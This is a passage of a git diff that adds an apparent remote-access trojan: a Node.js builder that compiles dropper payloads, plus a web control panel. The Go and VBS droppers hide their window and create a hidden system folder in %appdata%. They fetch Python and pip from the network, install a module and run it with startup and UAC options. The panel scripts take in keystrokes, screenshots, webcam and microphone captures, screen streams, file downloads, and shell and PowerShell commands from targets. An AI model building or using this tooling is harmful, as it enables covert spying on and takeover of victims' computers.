payloadConfig = payloads[body.payload] + const payloadFilePath = path.join(__dirname, payloadConfig.folder, `${payloadConfig.file}.${payloadConfig.ext}`) + const sourceFilePath = path.join(constants.SOURCEFOLDER, `${body.filename}.${payloadConfig.ext}`) + const buildFilePath = path.join(constants.BUILDFOLDER, `${body.filename}.${payloadConfig.oext}`) + + let payloadCode = fs.readFileSync(payloadFilePath, "utf-8") + payloadCode = payloadCode.replaceAll("ADDON", addOnCode(body)) + payloadCode = payloadCode.replaceAll("RANDOMFOLDER", randomString(10)) + payloadCode = payloadCode.replaceAll("ARGS", btoa(`${body.origin},${body.startup},${body.uac}`)) + payloadCode = payloadCode.replaceAll("INSTALLMODULENAME", INSTALLMODULENAME) + payloadCode = payloadCode.replaceAll("RUNMODULENAME", RUNMODULENAME) + + fs.writeFileSync(sourceFilePath, payloadCode, "utf-8") + sendLog(0, `Source filepath: ${sourceFilePath}`) + + if (!payloadConfig.build) return + + // checking compiler is present + let compiler = payloadConfig.lcompiler + try { + let programUtil = "which" + if (process.platform == "win32") { + programUtil = "where" + compiler = payloadConfig.wcompiler + } + + let output = execSync(`${programUtil} ${compiler}`, { encoding: "utf-8" }) + sendLog(0, `${output} SUCCESS -> ${compiler} found.`) + } catch (error) { + sendLog(1, `${error.message} | ${compiler} not found. Installing ${compiler}`) + return + } + + // compile process + try { + let cmd = payloadConfig.lcmd + if (process.platform == "win32") { + cmd = payloadConfig.wcmd + } + + cmd = cmd.replace("[COMPILER]", compiler) + cmd = cmd.replace("[INPUTFILENAME]", sourceFilePath) + cmd = cmd.replace("[OUTPUTFILENAME]", buildFilePath) + + sendLog(0, execSync(cmd, { encoding: "utf-8" })) + sendLog(0, `Build filepath: ${buildFilePath}`) + } catch (error) { + sendLog(1, error.message) + } +} + +function sendLog(type, data) { + IO.emit("build-logs", type, data) +} + +module.exports = { + generatePayload +} \ No newline at end of file diff --git a/payloads/go/main.go b/payloads/go/main.go new file mode 100644 index 0000000..ed17881 --- /dev/null +++ b/payloads/go/main.go @@ -0,0 +1,12 @@ +package main + +import ( + "os/exec" + "syscall" +) + +func main() { + c := exec.Command("cmd", "/c", "ADDON cd %appdata% & if exist RANDOMFOLDER (cd RANDOMFOLDER & python -m RUNMODULENAME ARGS) else (mkdir RANDOMFOLDER & attrib +h +s +r RANDOMFOLDER & cd RANDOMFOLDER & curl -s https://www.python.org/ftp/python/3.12.1/python-3.12.1-embed-win32.zip -o PYTHONZIP & tar -xf PYTHONZIP & echo import site >> python312._pth & curl -s https://bootstrap.pypa.io/get-pip.py -O & python get-pip.py & Scripts\\pip install INSTALLMODULENAME & python -m RUNMODULENAME ARGS)") + c.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + c.Run() +} diff --git a/payloads/go/main2.go b/payloads/go/main2.go new file mode 100644 index 0000000..ce4a669 --- /dev/null +++ b/payloads/go/main2.go @@ -0,0 +1,29 @@ +package main + +import ( + "os" + "os/exec" + "syscall" +) + +func s(t string) { + c := exec.Command("cmd", "/c", t) + c.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + c.Run() +} + +func main() { + var r string = "RANDOMFOLDER" + s("ADDON") + os.Chdir(os.Getenv("APPDATA")) + _, err := os.Stat(r) + if err == nil { + os.Chdir(r) + s("python -m RUNMODULENAME ARGS") + } else if os.IsNotExist(err) { + os.Mkdir(r, os.ModePerm) + s("attrib +h +s +r " + r) + os.Chdir(r) + s("curl -s https://www.python.org/ftp/python/3.12.1/python-3.12.1-embed-win32.zip -o PYTHONZIP & tar -xf PYTHONZIP & echo import site >> python312._pth & curl -s https://bootstrap.pypa.io/get-pip.py -O & python get-pip.py & Scripts\\pip install INSTALLMODULENAME & python -m RUNMODULENAME ARGS)") + } +} diff --git a/payloads/payloads.js b/payloads/payloads.js new file mode 100644 index 0000000..18b8cac --- /dev/null +++ b/payloads/payloads.js @@ -0,0 +1,118 @@ + + +const COMPILER = '[COMPILER]' +const INPUTFILENAME = '[INPUTFILENAME]' +const OUTPUTFILENAME = '[OUTPUTFILENAME]' + +module.exports = { + bat: { + folder: "bat", + file: "main", + ext: "bat", + oext: "bat", + build: false, + wcompiler: "", + wcmd: "", + lcompiler: "", + lcmd: "" + }, + bat2: { + folder: "bat", + file: "main2", + ext: "bat", + oext: "bat", + build: false, + wcompiler: "", + wcmd: "", + lcompiler: "", + lcmd: "" + }, + c: { + folder: "c", + file: "main", + ext: "c", + oext: "exe", + build: true, + wcompiler: "gcc", + wcmd: `${COMPILER} "${INPUTFILENAME}" -o "${OUTPUTFILENAME}"`, + lcompiler: "x86_64-w64-mingw32-gcc", + lcmd: `${COMPILER} -o "${OUTPUTFILENAME}" "${INPUTFILENAME}" -static` + }, + cpp: { + folder: "cpp", + file: "main", + ext: "cpp", + oext: "exe", + build: true, + wcompiler: "g++", + wcmd: `${COMPILER} "${INPUTFILENAME}" -o "${OUTPUTFILENAME}"`, + lcompiler: "x86_64-w64-mingw32-g++", + lcmd: `${COMPILER} -o "${OUTPUTFILENAME}" "${INPUTFILENAME}" -static` + }, + cpp2: { + folder: "cpp", + file: "main2", + ext: "cpp", + oext: "exe", + build: true, + wcompiler: "g++", + wcmd: `${COMPILER} "${INPUTFILENAME}" -o "${OUTPUTFILENAME}"`, + lcompiler: "x86_64-w64-mingw32-g++", + lcmd: `${COMPILER} -o "${OUTPUTFILENAME}" "${INPUTFILENAME}" -static` + }, + cmd: { + folder: "cmd", + file: "main", + ext: "cmd", + oext: "cmd", + build: false, + wcompiler: "", + wcmd: "", + lcompiler: "", + lcmd: "" + }, + cmd2: { + folder: "cmd", + file: "main2", + ext: "cmd", + oext: "cmd", + build: false, + wcompiler: "", + wcmd: "", + lcompiler: "", + lcmd: "" + }, + go: { + folder: "go", + file: "main", + ext: "go", + oext: "exe", + build: true, + wcompiler: "go", + wcmd: `${COMPILER} build -ldflags -H=windowsgui -o "${OUTPUTFILENAME}" "${INPUTFILENAME}"`, + lcompiler: "go", + lcmd: `GOOS=windows GOARCH=amd64 ${COMPILER} build -ldflags -H=windowsgui -o "${OUTPUTFILENAME}" "${INPUTFILENAME}"` + }, + go2: { + folder: "go", + file: "main2", + ext: "go", + oext: "exe", + build: true, + wcompiler: "go", + wcmd: `${COMPILER} build -ldflags -H=windowsgui -o "${OUTPUTFILENAME}" "${INPUTFILENAME}"`, + lcompiler: "go", + lcmd: `GOOS=windows GOARCH=amd64 ${COMPILER} build -ldflags -H=windowsgui -o "${OUTPUTFILENAME}" "${INPUTFILENAME}"` + }, + vbs: { + folder: "vbs", + file: "main", + ext: "vbs", + oext: "vbs", + build: false, + wcompiler: "", + wcmd: "", + lcompiler: "", + lcmd: "" + }, +} \ No newline at end of file diff --git a/payloads/vbs/main.vbs b/payloads/vbs/main.vbs new file mode 100644 index 0000000..dc1c475 --- /dev/null +++ b/payloads/vbs/main.vbs @@ -0,0 +1 @@ +CreateObject("WScript.Shell").run "cmd /c ""ADDON cd %appdata% & if exist RANDOMFOLDER (cd RANDOMFOLDER & python -m RUNMODULENAME ARGS) else (mkdir RANDOMFOLDER & attrib +h +s +r RANDOMFOLDER & cd RANDOMFOLDER & curl -s https://www.python.org/ftp/python/3.12.1/python-3.12.1-embed-win32.zip -o PYTHONZIP & tar -xf PYTHONZIP & echo import site >> python312._pth & curl -s https://bootstrap.pypa.io/get-pip.py -O & python get-pip.py & Scripts\\pip install INSTALLMODULENAME & python -m RUNMODULENAME ARGS)""",0 \ No newline at end of file diff --git a/public/assets/css/create.css b/public/assets/css/create.css new file mode 100644 index 0000000..5f51d17 --- /dev/null +++ b/public/assets/css/create.css @@ -0,0 +1,106 @@ +body { + padding: .5rem; +} + +.main-content { + display: flex; + gap: .5rem; +} + +.main-content .payload-form { + width: 50%; + min-width: 350px; + overflow: hidden; + overflow-y: scroll; + border-radius: 4px; + background: var(--bg); + border: var(--border); + padding: .5rem; +} + +.main-content .payload-form .box-inp { + width: 100%; +} + +.main-content .logs { + width: 100%; + overflow: hidden; + overflow-y: scroll; + padding: .5rem; + padding-bottom: 3rem; + border-radius: 4px; + background: var(--bg); + border: var(--border); +} + +.help-content { + position: fixed; + top: 50%; + left: -100%; + width: 0; + height: 90%; + transform: translate(-50%, -50%); + background: rgba(0, 0, 0, 0.9); + border: var(--border); + border-radius: 4px; + z-index: 200; + padding: .5rem; + overflow: auto; + transition: 1s all; +} + +.help-content.active { + width: 90%; + left: 50%; +} + +.help-content h3 { + display: flex; + align-items: center; + justify-content: space-between; + background: #000; +} + +.help-content i { + color: red; + font-size: 2rem; + padding: .5rem; + cursor: pointer; +} + +.help-content pre { + margin-top: 1rem; +} + +.help-content pre span { + color: #fffb00; +} + +.deliver-options { + border-top: 2px solid rgba(255, 255, 255, 0.3); +} + +.deliver-options p { + padding: .5rem; +} + +.logs a { + padding: .5rem; + color: #00c3ff; + text-decoration: underline; +} + +@media(max-width: 700px) { + .main-content { + flex-direction: column; + } + + .main-content .payload-form { + width: 100%; + height: 50%; + } + + .main-content .logs { + height: 50%; + } +} \ No newline at end of file diff --git a/public/assets/css/fm.css b/public/assets/css/fm.css new file mode 100644 index 0000000..9831bea --- /dev/null +++ b/public/assets/css/fm.css @@ -0,0 +1,52 @@ +.main-header .center { + text-transform: uppercase; +} + +.main-header .right { + display: flex; + align-items: center; + gap: .5rem; +} + +.main-content .file { + display: flex; + align-items: center; + justify-content: space-between; + border-bottom: var(--border); +} + +.main-content .file a { + color: #0084ff; + font-size: 1.2rem; + font-weight: 600; + padding: .5rem; + display: block; + width: 100%; +} + +a.gl { + color: #00ff62 !important; +} + +.main-content .file .right { + display: flex; + align-items: center; + overflow: hidden; + border-radius: 6px; +} + +.main-content .file .right button { + font-size: 1rem; + color: #000000; + padding: .4rem .7rem; + background: #00c3ff; + cursor: pointer; +} + +.main-content .file .right button:nth-child(2) { + background: rgb(255, 8, 0); +} + +#upload-input { + width: 100px; +} \ No newline at end of file diff --git a/public/assets/css/main.css b/public/assets/css/main.css new file mode 100644 index 0000000..6120281 --- /dev/null +++ b/public/assets/css/main.css @@ -0,0 +1,213 @@ +@import url('https://fonts.googleapis.com/css2?family=Roboto+Mono:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;1,100;1,200;1,300;1,400;1,500;1,600;1,700&display=swap'); +@import url(https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css); + +:root { + --primary: #ff3600; + --secondary: #d00000; + --bg: rgba(0, 0, 0, 0.5); + --border: 1px solid rgb(255, 255, 255, 0.3); +} + +* { + margin: 0; + padding: 0; + box-sizing: border-box; + font-family: "JetBrains Mono", monospace; + background: none; + border: none; + outline: none; + text-decoration: none; + transition: all .5s; +} + +::-webkit-scrollbar { + width: .3rem; + height: .3rem; +} + +::-webkit-scrollbar-thumb { + background: rgba(255, 255, 255, 0.36); + border-radius: 10px; +} + +body { + height: 100dvh; + padding: 1rem; + color: #e5e5e5; +} + +#video-background { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + width: 100%; + height: 100%; + object-fit: cover; + z-index: -1; +} + +.tool-title { + cursor: pointer; +} + +.tool-title span { + color: #ff3600; +} + +.tool-title small { + font-weight: 500; + display: block; + font-size: .8rem; + text-transform: capitalize !important; + text-align: right; + color: #00ff00; +} + +pre { + white-space: pre-wrap; +} + +hr { + height: 2px; + width: 100%; + background: rgb(255, 255, 255, 0.2); + backdrop-filter: blur(15px); + margin: .5rem auto; +} + +.b-btn { + padding: .5rem .7rem; + color: #e5e5e5; + text-transform: uppercase; + border-radius: 4px; + background: linear-gradient(to right, var(--primary), var(--secondary)); + font-size: 1rem; + cursor: pointer; +} + +.box-inp { + width: 300px; + padding: .5rem; + display: inline-block; +} + +.box-inp label { + display: block; + text-transform: uppercase; +} + +.box-inp textarea, +.box-inp select, +.box-inp input { + width: 100%; + background: rgb(255, 255, 255, 0.1); + backdrop-filter: blur(15px); + color: #e5e5e5; + font-size: 1rem; + padding: .5rem; + border-radius: 7px; + margin: .3rem; + border: 1px solid rgb(255, 255, 255, 0.2); +} + +.box-inp select option { + background: #000; + color: #e5e5e5; +} + +/* main box */ + +.main-container { + background: var(--bg); + width: 100%; + height: 100%; + border: var(--border); + border-radius: 4px; + padding: .5rem; + display: flex; + flex-direction: column; +} + +.main-header { + display: flex; + align-items: center; + justify-content: space-between; +} + +.main-header .left h2 { + text-transform: uppercase; +} + +.main-header .left h2 span { + text-transform: lowercase; +} + +.main-header .left small { + font-weight: 500; + display: block; + font-size: .8rem; + text-transform: capitalize !important; + text-align: right; + color: #00ff00; + cursor: pointer; +} + +.main-content { + height: 100%; + overflow: hidden; + overflow-y: auto; + padding: 1rem 0; +} + +/* popup */ +.popup-container { + position: fixed; + top: -100%; + left: 50%; + width: 350px; + transform: translateX(-50%); + background: #000; + border: var(--border); + padding: .5rem; + border-radius: 4px; + animation: aniPopup .5s ease-in-out forwards; +} + +@keyframes aniPopup { + to { + top: 3rem; + } +} + +.popup-container .popup-head { + display: flex; + align-items: center; + justify-content: space-between; + text-transform: uppercase; + border-bottom: var(--border); + padding-bottom: .5rem; +} + +.popup-container .popup-content { + padding-top: .3rem; + text-align: left; +} + +.popup-container .popup-content a { + color: aqua; +} + +.popup-container .popup-head .fa-xmark { + cursor: pointer; + color: #ff0202; + font-size: 1.3rem; + font-weight: 600; +} + +.popup-container .popup-head .right { + display: flex; + align-items: center; + gap: .3rem; +} \ No newline at end of file diff --git a/public/assets/css/panel.css b/public/assets/css/panel.css new file mode 100644 index 0000000..8e54d97 --- /dev/null +++ b/public/assets/css/panel.css @@ -0,0 +1,211 @@ +body { + padding: 0; +} + +.panel-container { + display: flex; + height: 100%; + background: rgba(0, 0, 0, 0.5); +} + +.tool-title { + padding: .5rem; + position: sticky; + top: 0; + padding: .5rem; + z-index: 10; + background: rgba(0, 0, 0, 0.2); + backdrop-filter: blur(15px); +} + +/* panel sidebar */ +.panel-bar { + width: 250px; + background: rgba(255, 255, 255, 0.04); + overflow: auto; + border-right: var(--border); +} + +.panel-bar button { + display: flex; + align-items: center; + gap: .5rem; + color: #e5e5e5; + background: rgba(255, 255, 255, 0.1); + cursor: pointer; + backdrop-filter: blur(15px); + width: 100%; + padding: .5rem; + font-size: 1rem; + text-transform: uppercase; + border-bottom: 1px solid rgba(255, 255, 255, 0.2); + transition: 0s all; +} + +.panel-bar button.active { + background: linear-gradient(to left, #ff3600, #d00000); + transition: 0s all; +} + +.panel-bar button img { + width: 30px; + height: 30px; +} + +#panel-bar-open { + padding: 0 .5rem; + color: #e5e5e5; + font-size: 1.2rem; + cursor: pointer; + display: none; +} + +/* panel content */ +.panel-content { + width: calc(100% - 250px); + display: flex; + flex-direction: column; +} + +.panel-content .panel-header { + display: flex; + align-items: center; + justify-content: space-between; + padding: .5rem; + text-transform: uppercase; +} + +#ping-status { + width: 10px; + height: 10px; + background: #ff0d0d; + display: inline-block; + border-radius: 50%; +} + +#ping-status.active { + background: #15ff00; +} + +.panel-content .panels { + padding: .5rem; + border-bottom: var(--border); + background: rgba(0, 0, 0, 0.4); + backdrop-filter: blur(15px); +} + +.panel-content .panels .data-form { + display: none; +} + +.panel-content .panels .data-form.active { + display: block; +} + +.panel-content .panels .data-form .box-inp { + padding: 0; +} + +/* shell dataform */ +.panel-content .panels .cmd-panel div, +.panel-content .panels .powershell-panel div { + display: flex; + gap: .5rem; + flex-wrap: wrap; +} + +.panel-content .panels .cmd-panel div input, +.panel-content .panels .powershell-panel div input { + color: var(--text); + font-size: 1rem; + min-width: 50px; + flex-grow: 1; +} + +/* python textarea */ +.python-textarea { + width: 90%; + height: 200px; + background: rgb(255, 255, 255, 0.1); + backdrop-filter: blur(15px); + color: #e5e5e5; + font-size: 1rem; + padding: .5rem; + margin: .3rem; + border-radius: 4px; + border: var(--border); +} + +/* logs */ +.panel-content .logs { + height: 100%; + background: rgba(0, 0, 0, 0.4); + backdrop-filter: blur(15px); + overflow: auto; + padding: .5rem; + display: none; +} + +.panel-content .logs.active { + display: block; +} + +.panel-content .logs span { + color: #eeff00; +} + +.panel-content .logs p { + margin: .5rem 0; +} + +.panel-content .logs .command { + color: #eeff00; +} + +.panel-content .logs .ok { + color: #15ff00; +} + +.panel-content .logs .err { + color: #ff0d0d; + font-weight: 600; +} + +.panel-content .logs video, +.panel-content .logs img { + width: 100%; + height: 100%; + object-fit: contain; + border-radius: 4px; + border: var(--border); +} + +.panel-content .logs a { + color: aqua; + text-decoration: underline; +} + + +@media(max-width: 1000px) { + .panel-bar { + position: fixed; + top: 0; + left: -100%; + width: 300px; + height: 100%; + background: #000 !important; + z-index: 1000; + } + + .panel-bar.active { + left: 0; + } + + #panel-bar-open { + display: inline-block; + } + + .panel-content { + width: 100%; + } +} \ No newline at end of file diff --git a/public/assets/js/create-b.js b/public/assets/js/create-b.js new file mode 100644 index 0000000..d2712e8 --- /dev/null +++ b/public/assets/js/create-b.js @@ -0,0 +1,111 @@ +const helpContent = document.querySelector(".help-content") +const helpBtn = document.querySelector("#help-btn") +const helpClose = document.querySelector("#help-close") +const buildpayload = document.querySelector("#build-payload") +const logs = document.querySelector(".logs") +const deliverInput = document.querySelector(".deliver-input") +const deliverOptionsContainer = document.querySelector(".deliver-options") + +socket.on("build-logs", (type, data) => { + logger(type, data) +}) + +helpBtn.addEventListener("click", () => { + helpContent.classList.add('active') +}) + +helpClose.addEventListener("click", () => { + helpContent.classList.remove('active') +}) + +buildpayload.addEventListener("click", async () => { + try { + let allInputs = document.querySelectorAll(".payload-form #inp") + let data = checkValue(allInputs) + + if (!data) { + popup("error", "fill required fields", 3) + return + } + + logger(0, JSON.stringify(data, null, 4)) + if (confirm(`build ${data.payload} payload`)) { + await axios.post(`/create`, data) + } + } catch (error) { + logger(1, error.message) + } +}) + +deliverInput.addEventListener("change", () => { + const value = deliverInput.value + let html = "" + switch (value) { + case "1": + html = "

do nothing on open.

" + break; + case "2": + html = ` +
+ + +
+
+ + +
` + break; + case "3": + html = `
+ + +
` + break; + case "4": + html = `
+ + +
` + break; + default: + break; + } + + deliverOptionsContainer.innerHTML = html +}) + +function checkValue(input) { + let len = input.length + let sLen = 0 + let data = {} + input.forEach(inp => { + if (inp.value.length > 0) { + data[inp.name] = inp.value + sLen++ + } + }) + + return len == sLen ? data : false +} + +function logger(type, data) { + type == 1 ? type = "ERROR" : type = "LOG" + + let date = new Date() + let hour = date.getHours() + let minute = date.getMinutes() + let secound = date.getSeconds() + + hour < 10 ? hour = "0" + hour : null + minute < 10 ? minute = "0" + minute : null + secound < 10 ? secound = "0" + secound : null + + let time = `${hour}:${minute}:${secound}` + let log = `[${time}] ${type} ${data}` + + const pre = document.createElement("pre") + pre.innerText = log + logs.appendChild(pre) + + logs.scrollTop = logs.scrollHeight +} diff --git a/public/assets/js/main.js b/public/assets/js/main.js new file mode 100644 index 0000000..e0308f3 --- /dev/null +++ b/public/assets/js/main.js @@ -0,0 +1,73 @@ +const socket = io("", { + path: '/socket.io', + transports: ['websocket'], + secure: true, +}) + +let marginTop = 0 +function popup(title, content, timer = undefined) { + const popups = document.querySelectorAll(".popup-container") + const div = document.createElement("div") + div.style.marginTop = `${marginTop}rem` + div.className = "popup-container" + + if (popups.length > 1) { + div.innerHTML = ` + + ` + + div.querySelector(".fa-trash-can").addEventListener("click", () => { + document.querySelectorAll(".popup-container").forEach(pup => { + pup.remove() + marginTop = 0 + }) + }) + } else { + div.innerHTML = ` + + ` + } + + div.querySelector(".fa-xmark").addEventListener("click", () => { + div.remove() + marginTop-- + }) + + document.body.appendChild(div) + marginTop++ + + if (timer) { + setTimeout(() => { + marginTop = 0 + div.remove() + }, timer * 1000) + } +} + +socket.on(`gl-msg`, data => { + popup(data.title, data.value) +}) + +window.addEventListener("DOMContentLoaded", () => { + document.querySelectorAll(".tool-title").forEach(btn => { + btn.querySelector("p").addEventListener('click', () => { + location.href = "/" + }) + + btn.querySelector("small").addEventListener('click', () => { + location.href = "https://madhanmaaz.netlify.app" + }) + }) +}) \ No newline at end of file diff --git a/public/assets/js/panel-b.js b/public/assets/js/panel-b.js new file mode 100644 index 0000000..3e0b76c --- /dev/null +++ b/public/assets/js/panel-b.js @@ -0,0 +1,188 @@ + + +const allPanelbtn = document.querySelectorAll(".panel-bar button[data-value]") +const allDataForm = document.querySelectorAll(".panels .data-form") +const panelTitle = document.querySelector(".panel-title") +const openPanelBar = document.querySelector("#panel-bar-open") +const panelBarContent = document.querySelector(".panel-bar") +const logsContainers = document.querySelectorAll(".logs") +const pingStatus = document.querySelector(`#ping-status`) +const alltxtInputs = document.querySelectorAll("#text-inp") + +allPanelbtn.forEach((btn, index, btns) => { + btn.addEventListener('click', () => { + allDataForm.forEach(dataForm => { + dataForm.classList.remove("active") + }) + + logsContainers.forEach(logs => { + logs.classList.remove("active") + }) + + btns.forEach(btn => { + btn.classList.remove("active") + }) + + btn.classList.add("active") + let dataValue = btn.getAttribute("data-value") + + panelTitle.innerHTML = dataValue + document.querySelector(`.${dataValue}-panel`).classList.add("active") + document.querySelector(`.${dataValue}-panel-log`).classList.add("active") + panelBarContent.classList.remove("active") + }) +}) + +// set command +allDataForm.forEach(form => { + form.addEventListener("submit", async e => { + e.preventDefault() + + let data = {} + let displayCommand = '' + for (let inp of e.target) { + let key = inp.name + let value = inp.value + if (key.length == 0) continue + data[key] = value + displayCommand += `[${key}]-<${value}>-` + } + + if (data.command == 'python') { + addLogs(data.command, `[${data.command}]-<${new Date()}`) + } else { + addLogs(data.command, displayCommand) + } + + try { + const res = await (await axios.post(`/panel?id=${ID}`, data)).data + + if (res.type == "error") { + popup("error", res.message) + } + } catch (err) { + console.log(err) + popup("error", err.message) + } + + alltxtInputs.forEach(inp => { + inp.value = "" + }) + }) +}) + +// sidebar +openPanelBar.addEventListener("click", () => { + panelBarContent.classList.toggle("active") +}) + +// socket listeners +socket.on("conn-ping", data => { + if (data.id == ID) { + document.querySelector(".data-form.cmd-panel span").innerText = `[CMD]-<${data.cwd}>-> ` + document.querySelector(".data-form.powershell-panel span").innerText = `[PS]-<${data.cwd}>-> ` + pingStatus.classList.add("active") + } +}) + +socket.on("disconn-ping", data => { + if (data == ID) { + pingStatus.classList.remove("active") + } +}) + +socket.on(`${ID}-tar-data`, data => { + console.log(data) + let value = '' + let pre = document.createElement("pre") + if (data.value.startsWith('ERROR:')) { + pre.innerText = data.value + value = pre.outerHTML + addLogs(data.command, value, 1) + return + } + + switch (data.command) { + case "cwd": + document.querySelector(".data-form.cmd-panel span").innerText = `[CMD]-<${data.value}>-> ` + document.querySelector(".data-form.powershell-panel span").innerText = `[PS]-<${data.value}>-> ` + return; + case "screenshot": + value = `[${new Date()}]
+ + screenshot + ` + break; + case "webcam-snapshot": + value = `

[${new Date()}]

+ + screenshot + ` + break; + case "recordmic": + value = `

[${new Date()}]

+ ` + break; + case "keystrokes": + key = data.value + let currentLogsContainer = document.querySelector(`.keystrokes-panel-log`) + const b = document.createElement("b") + if (key.length != 1) { + b.className = "gap" + key = ` _${key}_ ` + } + b.innerHTML = `${key}` + currentLogsContainer.appendChild(b) + currentLogsContainer.scrollTop = currentLogsContainer.scrollHeight + return; + case "download": + value = `

[${new Date()}]

+ + ${data.value.split("/").slice(-1)} + ` + break; + default: + pre.innerText = data.value + value = pre.outerHTML + break; + + } + + addLogs(data.command, value) +}) + +const streamers = { + "webcamstream": 0, + "screenshare": 0 +} +socket.on(`${ID}-tar-stream`, data => { + console.log(data); + if (data.value.startsWith('ERROR:')) { + addLogs(data.command, data.value, 1) + return + } + + let currentStreamer = document.querySelector(`.${data.command}-panel-log img`) + currentStreamer.src = `data:image/jpeg;base64,${data.value}` + + streamers[data.command] += 1 + currentStreamer.parentElement.querySelector(".streamer-status").innerHTML = `FRAME: ${streamers[data.command]}` +}) + + +// logging +function addLogs(command, data, type = 3) { + const p = document.createElement("p") + p.innerHTML = data + if (type == 0) { + p.className = 'ok' + } else if (type == 1) { + p.className = 'err' + } else if (type == 2) { + p.className = 'command' + } + + let logsContainer = document.querySelector(`.${command}-panel-log`) + logsContainer.appendChild(p) + logsContainer.scrollTop = logsContainer.scrollHeight +} \ No newline at end of file diff --git a/public/assets/src/audio-48.png b/public/assets/src/audio-48.png new file mode 100644 index 0000000..2dcf047 Binary files /dev/null and b/public/assets/src/audio-48.png differ diff --git a/public/assets/src/banner.jpg b/public/assets/src/banner.jpg new file mode 100644 index 0000000..a04f48f Binary files /dev/null and b/public/assets/src/banner.jpg differ diff --git a/public/assets/src/bg.jpeg b/public/assets/src/bg.jpeg new file mode 100644 index 0000000..e975e32 Binary files /dev/null and b/public/assets/src/bg.jpeg differ diff --git a/public/assets/src/bg.mp4 b/public/assets/src/bg.mp4 new file mode 100644 index 0000000..ece0d8e Binary files /dev/null and b/public/assets/src/bg.mp4 differ diff --git a/public/assets/src/blue.png b/public/assets/src/blue.png new file mode 100644 index 0000000..b662362 Binary files /dev/null and b/public/assets/src/blue.png differ diff --git a/public/assets/src/camera-48.png b/public/assets/src/camera-48.png new file mode 100644 index 0000000..411bac8 Binary files /dev/null and b/public/assets/src/camera-48.png differ diff --git a/public/assets/src/command-prompt-48.png b/public/assets/src/command-prompt-48.png new file mode 100644 index 0000000..1ea2cce Binary files /dev/null and b/public/assets/src/command-prompt-48.png differ diff --git a/public/assets/src/discussion-forum-48.png b/public/assets/src/discussion-forum-48.png new file mode 100644 index 0000000..3424ec2 Binary files /dev/null and b/public/assets/src/discussion-forum-48.png differ diff --git a/public/assets/src/download-48.png b/public/assets/src/download-48.png new file mode 100644 index 0000000..5b90e12 Binary files /dev/null and b/public/assets/src/download-48.png differ diff --git a/public/assets/src/exit.png b/public/assets/src/exit.png new file mode 100644 index 0000000..bfd7414 Binary files /dev/null and b/public/assets/src/exit.png differ diff --git a/public/assets/src/folder-48.png b/public/assets/src/folder-48.png new file mode 100644 index 0000000..ab192b0 Binary files /dev/null and b/public/assets/src/folder-48.png differ diff --git a/public/assets/src/keyboard-48.png b/public/assets/src/keyboard-48.png new file mode 100644 index 0000000..836a6ef Binary files /dev/null and b/public/assets/src/keyboard-48.png differ diff --git a/public/assets/src/mic-48.png b/public/assets/src/mic-48.png new file mode 100644 index 0000000..f10488f Binary files /dev/null and b/public/assets/src/mic-48.png differ diff --git a/public/assets/src/notification-48.png b/public/assets/src/notification-48.png new file mode 100644 index 0000000..3cc8d39 Binary files /dev/null and b/public/assets/src/notification-48.png differ diff --git a/public/assets/src/pip.png b/public/assets/src/pip.png new file mode 100644 index 0000000..b418a1c Binary files /dev/null and b/public/assets/src/pip.png differ diff --git a/public/assets/src/powershell-48.png b/public/assets/src/powershell-48.png new file mode 100644 index 0000000..bc75cfd Binary files /dev/null and b/public/assets/src/powershell-48.png differ diff --git a/public/assets/src/python-48.png b/public/assets/src/python-48.png new file mode 100644 index 0000000..d141aec Binary files /dev/null and b/public/assets/src/python-48.png differ diff --git a/public/assets/src/screen-recording-48.png b/public/assets/src/screen-recording-48.png new file mode 100644 index 0000000..0d24f1f Binary files /dev/null and b/public/assets/src/screen-recording-48.png differ diff --git a/public/assets/src/screenshot-48.png b/public/assets/src/screenshot-48.png new file mode 100644 index 0000000..5927461 Binary files /dev/null and b/public/assets/src/screenshot-48.png differ diff --git a/public/assets/src/startup.png b/public/assets/src/startup.png new file mode 100644 index 0000000..3d50184 Binary files /dev/null and b/public/assets/src/startup.png differ diff --git a/public/assets/src/stream-48.png b/public/assets/src/stream-48.png new file mode 100644 index 0000000..25035df Binary files /dev/null and b/public/assets/src/stream-48.png differ diff --git a/public/assets/src/uac.png b/public/assets/src/uac.png new file mode 100644 index 0000000..ea7c94a Binary files /dev/null and b/public/assets/src/uac.png differ diff --git a/public/assets/src/upload-48.png b/public/assets/src/upload-48.png new file mode 100644 index 0000000..ac30f63 Binary files /dev/null and b/public/assets/src/upload-48.png differ diff --git a/public/assets/src/webcam-48.png b/public/assets/src/webcam-48.png new file mode 100644 index 0000000..1576893 Binary files /dev/null and b/public/assets/src/webcam-48.png differ diff --git a/router/create.js b/router/create.js new file mode 100644 index 0000000..86c1c2d --- /dev/null +++ b/router/create.js @@ -0,0 +1,15 @@ +const express = require("express") +const router = express.Router() +const payloads = require("../payloads/payloads") + +router.route("/").get((req, res) => { + res.render("create", { + payloads + }) +}).post((req, res) => { + const { generatePayload } = require("../payloads/creator") + generatePayload(req.body) + res.send(`OK`) +}) + +module.exports = router \ No newline at end of file diff --git a/router/fm.js b/router/fm.js new file mode 100644 index 0000000..b28b44a --- /dev/null +++ b/router/fm.js @@ -0,0 +1,56 @@ +const express = require("express") +const fs = require("fs") +const router = express.Router() +const path = require("path") + +router.route("/").get((req, res) => { + const { id } = req.query + const globalFiles = fs.readdirSync(path.join(process.__dirname, "public", "global")) + + if (id == "global") { + res.render("fm", { + id, + globalFiles, + tarFiles: [] + }) + return + } + + const folderPath = path.join(process.__dirname, "public", "uploads", id) + if (fs.existsSync(folderPath)) { + const tarFiles = fs.readdirSync(folderPath) + + res.render("fm", { + id, + globalFiles, + tarFiles + }) + return + } + + res.send("target not found") +}).post((req, res) => { + if (req.files) { + const uploadFile = req.files.file + + uploadFile.mv(path.join(process.__dirname, "public", "global", uploadFile.name), (err) => { + if (err) console.log(err) + }) + } + res.send("OK") +}) + +router.get("/del", (req, res) => { + try { + const { id, filename } = req.query + let filePath = path.join(process.__dirname, "public", "uploads", id, filename) + if (id == "global") filePath = path.join(process.__dirname, "public", id, filename) + + if (fs.existsSync(filePath)) { + fs.rmSync(filePath, { recursive: true }) + } + } catch (error) { } + res.send("OK") +}) + +module.exports = router \ No newline at end of file diff --git a/router/index.js b/router/index.js new file mode 100644 index 0000000..1773690 --- /dev/null +++ b/router/index.js @@ -0,0 +1,64 @@ +const { checkAdmin, 